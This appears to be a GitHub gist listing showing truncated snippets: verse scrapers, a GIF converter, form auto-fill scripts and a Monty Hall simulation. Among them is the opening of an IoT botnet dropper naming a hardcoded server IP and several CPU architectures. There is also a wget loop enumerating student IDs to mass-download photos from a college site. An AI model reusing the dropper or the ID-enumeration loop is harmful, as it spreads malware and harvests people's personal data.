Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from bs4 import BeautifulSoup as bsp | |
import requests | |
import sys | |
url = "https://quran.com/" + str(sys.argv[1]).replace(":", "/") | |
page = requests.get(url) | |
if page.status_code == 404: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from bs4 import BeautifulSoup as bsp | |
import requests | |
import sys | |
url = 'https://www.biblegateway.com/passage/?version=KJV&search=' + str(sys.argv[1]) + '%20' + str(sys.argv[2]) | |
page = requests.get(url) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
u="asgknskjdgn" | |
bin_names="mips mipsel arm arm7 powerpc x86_64 x86_32" | |
http_server="80.211.173.159" | |
http_port=80 | |
cd /tmp/||cd /var/ | |
for name in $bin_names | |
do | |
rm -rf $u | |
cp $SHELL $u |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function submitFeedback() { | |
let id = | |
'ctl00_ContentPlaceHolder1_WebPartManager1_gwpPanelNBAFeedback_Wizard1_gdvStudentQ1'; | |
try { | |
const a = [...document.getElementById(id).rows]; | |
a.shift(); | |
const b = a.map(el => el.cells[2].children[0]); | |
b.forEach(el => (el.checked = true)); | |
}catch{} | |
id = |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(function staffAppr() { | |
let id = | |
'ctl00_ContentPlaceHolder1_WebPartManager1_gwpPanelStaffDetails_gdvRating'; | |
try { | |
const a = [...document.getElementById(id).rows]; | |
a.shift(); | |
a.forEach(row => { | |
row.cells[2].children[0].value = row.cells[1].innerHTML.split( | |
'-' | |
)[1]; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
for i in {1..9} | |
do | |
wget http://autonomous.nie.ac.in/coursereg/Handler1.ashx?id=4NI18EE00$i:20 -O $i.jpg | |
done | |
#read a | |
for i in {10..50} | |
do | |
wget http://autonomous.nie.ac.in/coursereg/Handler1.ashx?id=4NI18EE0$i:20 -O $i.jpg | |
done |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from moviepy.editor import * | |
import sys | |
if len(sys.argv) < 2: | |
sys.stderr.write("Missing parameters.\n") | |
sys.exit(1) | |
try: | |
clip = (VideoFileClip(sys.argv[1])) | |
clip.write_gif(sys.argv[2] + ".gif") | |
sys.stdout.write("Done!\n") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function num(N) { | |
return function() { | |
const VAL = N; | |
let res = 0; | |
if (arguments.length == 0) return VAL; | |
if (arguments.length == 1) res = eval(N + arguments[0]); | |
return Math.floor(res); | |
}; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <stdlib.h> | |
#include <time.h> | |
short int reveal(short int firstDoor, short int moneyDoor) { | |
short int arr[3] = {0, 1, 2}; | |
if (firstDoor == moneyDoor) { | |
short int newArr[2]; | |
short int j = 0; | |
for (short int i = 0; i < 3; i++) { |
OlderNewer